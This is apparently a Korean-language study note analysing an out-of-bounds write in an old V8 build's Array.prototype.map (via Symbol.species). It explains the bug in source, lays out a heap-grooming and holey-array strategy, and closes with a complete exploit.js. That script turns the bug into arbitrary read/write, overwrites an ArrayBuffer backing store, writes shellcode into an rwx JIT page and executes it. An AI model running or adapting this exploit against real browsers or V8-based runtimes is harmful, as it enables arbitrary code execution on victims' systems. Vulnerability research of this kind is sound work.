 # ref

- https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/

 # setup

```
fetch v8
cd v8
git checkout 1eb0ef316103caf526f9ab80290b5ba313e232af
gclient sync
./tools/dev/gm.py x64.debug
```

Array.prototype.map의 경우, 결과 값은 callback function이 수행된 이후의 멤버들이 merge된 Array이다.
새로운 Array를 만들 때, member의 길이만큼을 먼저 new Array(length) 형태로 진행하고 만들기 때문에, Holey Array가 형성되게 된다.

test.js

```
// ./d8 --allow-natives-syntax ./test.js

let arr = [1,2,3,4];
%DebugPrint(arr);
let mapped = arr.map( (x) => {
    return x + 1;});

%DebugPrint(mapped);
```

확인해보면, 처음은 FAST_SMI_ELEMENTS이지만, mapped는 FAST_HOLEY_SMI_ELEMENTS이다.

 # Vulnerability Analysis

일단 취약점 자체는 OOB Write만 가지고 있다.
Array.prototype.map에서 발생하는 취약점인데, 이 함수에 대한 전반적인 동작은 위에서 설명한 것과 같다.

간단하게 취약점 개요를 설명하면, Array.prototype.map을 호출하게되면, 리턴되는 값이 새롭게 생성된 Array이다.
생각해보면, [1,2,3,4]라는 Array가 있으면, 이 Array에 대한 일종의 Clone Array를 처음에 하나 생성하게된다.
그리고, 각 멤버들에 대하여 iterate를 돌면서, callback function의 인자로 넘겨주고, callback에서 리턴된 값을, 다시 Clone Array에 넣어준다.

Clone Array를 만드는 시점에서, 1차적으로 문제가 발생한다.
Javascript에는 Symbol.species라는 Symbol primitive가 있다.

- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species

이게 무엇을 하는 심볼이냐면, Javascript Class에도 constructor를 명시해줄 수 있는데, 이 constructor가 참조하는 것이다.
위의 MDN 예제가 좋은 예로 볼 수 있다.

```
class Array1 extends Array {
  static get [Symbol.species]() { return Array; }
}

const a = new Array1(1, 2, 3);
const mapped = a.map(x => x * x);

console.log(mapped instanceof Array1);
// expected output: false

console.log(mapped instanceof Array);
// expected output: true

```

Array1에 대하여 객체를 생성했지만, Symbol.species가 constructor로 Array를 리턴했으니까, 사실상 이 객체는 Array1이 아닌, Array의 클래스의 생성자를 받아서 만들게된다.

Clone Array를 생성할 때, A라는 Array에 대하여 A.map(...)을 하면, A의 Symbol.species가 가리키는 객체를 따라가서, 해당 객체의 constructor를 호출해서 만드는 것이다.
여기서 코드를 보면 다음과 같다.

$PATH/src/builtins/builtins-array-gen.cc

```
  void GenerateIteratingArrayBuiltinBody(
      const char* name, const BuiltinResultGenerator& generator,
      const CallResultProcessor& processor, const PostLoopAction& action,
      const Callable& slow_case_continuation,
      ForEachDirection direction = ForEachDirection::kForward) {
    Label non_array(this), slow(this, {&k_, &a_, &to_}),
        array_changes(this, {&k_, &a_, &to_});


    // TODO(danno): Seriously? Do we really need to throw the exact error
    // message on null and undefined so that the webkit tests pass?
    Label throw_null_undefined_exception(this, Label::kDeferred);
    GotoIf(WordEqual(receiver(), NullConstant()),
           &throw_null_undefined_exception);
    GotoIf(WordEqual(receiver(), UndefinedConstant()),
           &throw_null_undefined_exception);


    // By the book: taken directly from the ECMAScript 2015 specification


    // 1. Let O be ToObject(this value).
    // 2. ReturnIfAbrupt(O)
    o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());


    // 3. Let len be ToLength(Get(O, "length")).
    // 4. ReturnIfAbrupt(len).
    VARIABLE(merged_length, MachineRepresentation::kTagged);
    Label has_length(this, &merged_length), not_js_array(this);
    GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &not_js_array);
    merged_length.Bind(LoadJSArrayLength(o()));
    Goto(&has_length);
    BIND(&not_js_array);
    Node* len_property =
        GetProperty(context(), o(), isolate()->factory()->length_string());
    merged_length.Bind(
        CallStub(CodeFactory::ToLength(isolate()), context(), len_property));
    Goto(&has_length);
    BIND(&has_length);
    len_ = merged_length.value();
```

len_이라는 멤버 자체는 A라는 Array의 멤버 수가 된다.

```
    if (direction == ForEachDirection::kForward) {
      // 7. Let k be 0.
      k_.Bind(SmiConstant(0));
    } else {
      k_.Bind(NumberDec(len()));
    }

     a_.Bind(generator(this));
     HandleFastElements(processor, action, &slow, direction);
```

여기서 o_는 Array.prototype.map을 수행하는 객체의 this가 된다. (A Array)
len_은 A Array의 A.length가 된다.
a_는 Clone Array라고 지칭하고 있는 것이며, map의 결과가 copy될 Array이다.
HandleFastElements가 지금 A Array에 대하여 map operation을 수행하고, a_로 copy한다.

https://chromium.googlesource.com/v8/v8.git/+/1eb0ef316103caf526f9ab80290b5ba313e232af/src/builtins/builtins-array-gen.cc#197

```
  Node* MapResultGenerator() {
    // 5. Let A be ? ArraySpeciesCreate(O, len).
    return ArraySpeciesCreate(context(), o(), len_);
```

generator(this)의 경우, 위의 함수가 호출되게 된다.
<u>Q) 이 함수가 호출되는지 어떻게 알아낸거지??...</u>

ArraySpciesCreate는 다음과 같다.

$PATH/src/code-stub-assembler.cc

```
Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
                                             Node* len) {
  // TODO(mvstanton): Install a fast path as well, which avoids the runtime
  // call.
  Node* constructor =
      CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);
  return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
                     len);
}
```

ArraySpeciesCreate를 통해서 Array[@@species]에 명시된 constructor를 가져와서 Array를 만들게된다.
여기서 보면, species에 임의로 만든 constructor를 가리키도록 하면, Array를 마음대로 만들 수 있다는 것이 된다.
Runtime에 관련된 코드는 아래의 링크에 있다.

- https://chromium.googlesource.com/v8/v8.git/+/1eb0ef316103caf526f9ab80290b5ba313e232af/src/objects.cc#2273

<u>Q) 여전히 CallRuntime 저걸로 어떻게 저 함수가 호출된다는 것을 아는거지@_@?</u>

$PATH/src/ast/ast.h 에서 대충은 찾아볼 수 있었는데, 조금더 봐야할 것 같다. [TODO]

```
// The CallRuntime class does not represent any official JavaScript
// language construct. Instead it is used to call a C or JS function
// with a set of arguments. This is used from the builtins that are
// implemented in JavaScript.
class CallRuntime final : public Expression {
 public:
  const ZonePtrList<Expression>* arguments() const { return &arguments_; }
  bool is_jsruntime() const { return function_ == nullptr; }

```

이 점을 이용하여, Clone Array를 Array(1);과 같이 원래 Array보다 작게 만들어줄 수 있으며, 이 Array에 대한 length 검증이 따로 없으므로, callback에 의해 리턴되는 값들이 Clone Array에 그대로 들어가게 된다.

이 점이 OOB Write 취약점으로 동작한다.

 # Exploit Phase

OOB Write는 있지만, 이 취약점을 보고, 처음에 고민했던 것이, map으로 리턴하는 값을 copy하는 것이면, 무조건 순차적으로 값을 copy하게 되는 것 아닌가?라는 것이였다.

OOB가 발생하는 Array 다음에 unboxed double array 등을 하나 위치시키고, 이 array의 length property를 overwrite한다면, OOB R/W로 끌고갈 수 있는데, 순차적으로 값을 copy한다면, 아직 leak이 안된 상태에서 map이나 여타 다른 값들을 알 수 없기 때문에 문제가 된다.

생각해보면, Array는 항상 값이 다 차있는 것이 아니라, 중간에 HOLEY Array형태로도 존재할 수 있다.
Array.prototype.map도 이 점을 바탕으로 HOLEY Member의 경우엔 그대로 지나치지만, index는 증가하기 때문에, linear하게 copy하는 것이 아니라, 원하는 index에만 원하는 값을 overwrite 하도록 할 수 있다.

- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map

> `map` calls a provided `callback` function **once for each element** in an array, in order, and constructs a new array from the results. `callback` is invoked only for indexes of the array which have assigned values, including undefined. It is not called for missing elements of the array (that is, indexes that have never been set, which have been deleted or which have never been assigned a value).

missing value의 경우엔 delete를 통해 삭제한 것을 말하고, arr = new Array(); arr.length = 1000; arr[100] = 0xdada; 이런 형태로 해준 경우, 중간의 다른 값들은 아직 값들이 할당이 안된 케이스이므로, 위의 설명에 해당하게 된다.

그렇다면, Object들을 다음과 같은 순서로 위치시킬 수 있다.

| Clone Array | unboxed double array | leak primitive array | ArrayBuffer |

Clone Array의 OOB를 통해 unboxed double array의 length property를 수정한다.
그렇게되면, leak primitive array에 존재하는 멤버들의 값을 읽을 수 있다.
뿐만 아니라, ArrayBuffer의 BackingStore와 Length Property도 unboxed double array를 통해 건드릴 수 있기 때문에, Arbitrary R/W를 할 수 있게 된다.

이 버전의 V8은, 임의 함수에 대하여 rwx page를 가지고 있으므로, rwx page를 만들어준 다음에, 해당 주소를 가져와서, 쉘코드를 이 위치에 넣어주고, 함수를 호출하면 원하는 코드를 실행할 수 있게 된다.

```
rwx_page = function(x){
    return x + 1 * 2 / 1;
}
```

이런 형태로 해줘도, 이 버전에서는 rwx page가 만들어지지만, 최신 버전의 v8에서는 wasm code를 만들어 주는 형태로 rwx page를 만들어야 한다.
JIT Function도 rwx를 가지지 않아서, wasm 외에 rwx page를 통해 임의코드 실행하는 방법은 이것밖에 없는 것 같다.

exploit.js

```
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi) {
    return "0x" + hi.toString(16) + lo.toString(16);
}

rwx_page = function(x){
    return x + 1 * 2 / 1;
}

rwx_page(10);

let victim = undefined;
let leak_victim = undefined;
let ab = undefined;

class derived extends Array {
    constructor(len){
        super(1);
        // unboxed double array for OOB R/W Primitives
        victim = [1.1, 2.2, 3.3, 4.4];
        // leak "rwx_page" value
        leak_victim = [13.37, {}, 0x1234, rwx_page, 0x1111];
        // overwrite ArrayBuffer's BackingStore and Length Property -> Arbitrary R/W Primitives
        ab = new ArrayBuffer(40);
    }
}

class poc extends Array{
    static get [Symbol.species]() {
        return derived;
    }
}

let arr = new poc();
arr.length = 1000;

arr[10] = 0x4000;
arr[14] = 0x4000;

// HOLEY Array Trick !
let mapped = arr.map( function(x) {
    return 0x4000;
});

/*
[19] : 0x1b51124b2109
[20] : 0x1bc5420fe81
[21] : 0x12340
[22] : 0x1bc5420cea9        <- rwx page
[23] : 0x11110

...

[33] : 0x2cb34bd06771
[34] : 0x11825b502241
[35] : 0x11825b502241
[36] : 0x280                <- ArrayBuffer Length
*/

let rwx_lo = 0;
let rwx_hi = 0;

t = d2u(victim[22]);
rwx_lo = t[0];
rwx_hi = t[1];

// ArrayBuffer Length
victim[36] = u2d(0, 0x1330);
// ArrayBuffer Backing Store
victim[37] = u2d(rwx_lo - 1, rwx_hi);

let dv = new DataView(ab);
code_lo = dv.getUint32(0x38, true);
code_hi = dv.getUint32(0x38 + 4, true);

var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];
victim[37] = u2d(code_lo, code_hi);
for(let i = 0; i < shellcode.length; i++) {
    dv.setUint32(4 * i, shellcode[i], true);
}
rwx_page(10);
```